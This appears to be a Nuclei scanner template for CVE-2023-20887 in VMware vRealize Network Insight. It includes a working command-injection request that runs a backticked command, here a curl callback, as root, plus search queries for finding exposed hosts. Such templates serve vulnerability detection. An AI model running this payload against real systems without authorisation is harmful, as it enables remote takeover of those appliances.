CVE-2023-20887: VMware VRealize Network Insight - Remote Code Execution

id: CVE-2023-20887

info:
  name: VMware VRealize Network Insight - Remote Code Execution
  author: sinsinology
  severity: critical
  description: |
    VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are
     vulnerable.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
    - https://github.com/sinsinology/CVE-2023-20887
    - http://packetstormsecurity.com/files/173761/VMWare-Aria-Operations-For-Networks-Remote-Command-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20887
    cwe-id: CWE-77
    epss-score: 0.94389
    epss-percentile: 0.99968
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware vRealize Network Insight"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="VMware vRealize Network Insight"
      - title="vmware aria operations"
      - title="vmware vrealize network insight"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,packetstorm,vmware,rce,msf,vrealize,insight,oast,kev
variables:
  cmd: "curl {{interactsh-url}}"

http:
  - raw:
      - |
        POST /saas./resttosaasservlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-thrift

        [1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`{{cmd}}`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"rec":'

      - type: word
        part: header
        words:
          - "application/x-thrift"

      - type: word
        part: body
        negative: true
        words:
          - "Provided invalid node Id"
          - "Invalid nodeId"

      - type: status
        status:
          - 200
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